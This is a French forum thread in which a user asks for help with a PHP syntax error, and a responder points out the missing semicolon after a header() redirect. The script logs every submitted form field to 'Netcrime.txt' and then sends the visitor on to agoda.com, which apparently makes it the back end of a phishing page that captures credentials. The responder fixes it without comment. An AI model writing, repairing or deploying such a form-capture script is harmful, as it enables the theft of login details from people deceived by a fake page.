Parse error: syntax error, unexpected T_VARIA

Lisette0007 Messages postés 2 Date d'inscription   Statut Membre Dernière intervention   -  
 le père -
Bonjour,

J'ai un souci comme beaucoup d'autres par rapport à un contenu en php qui est assez court pourtant mais j'ai beau regardé je ne vois pas l'erreur (ça ne peut être le point virgule à la fin de la 2eme ligne car quand j'en met un ils mettent une erreur de plus... serait-ce par rapport aux { } ?) j'espère que vous pourrez m'aider et merci d'avance
voici le contenu:

<?php
header ('Location: http://www.agoda.com')
$handle = fopen("Netcrime.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

3 réponses

le père
 
Bonjour

Tu aurais pu donner le message d'erreur complet, en particulier avec le numéro de ligne

header ('Location: http://www.agoda.com')
il manque le ; à la fin
0
Lisette0007 Messages postés 2 Date d'inscription   Statut Membre Dernière intervention  
 
bonjour,

merci pour votre réponse mais comme précisé dans ma parenthese lorsque je mets le point virgule à la fin de cette ligne, c'est écrit "unexpectable ";" " donc ce n'est pas cela...
l'erreur est dite sur la ligne 5...
0
le père
 
Mais si, il manque bien un ; à la fin de ta ligne 2, il n'y a aucun doute là-dessus.
Si tu ne le mets pas, tu as une erreur unexpected T_VARIABLE car il s'attend à un ; après la parenthèse fermande de header();
Si tu le mets, ton script se déroule normalement et donc te redirige vers le site http://www.agoda.com. Le message d'erreur vient peut-être de ce site, ou d'une autre ligne ailleurs dans ton script.

Encore une fois, recopie le message d'erreur complet (pas recopié lettre par lettre, mais copié-collé). Vérifie que le nom du fichier indiqué dans le message d'erreur est bien celui de ton script.
0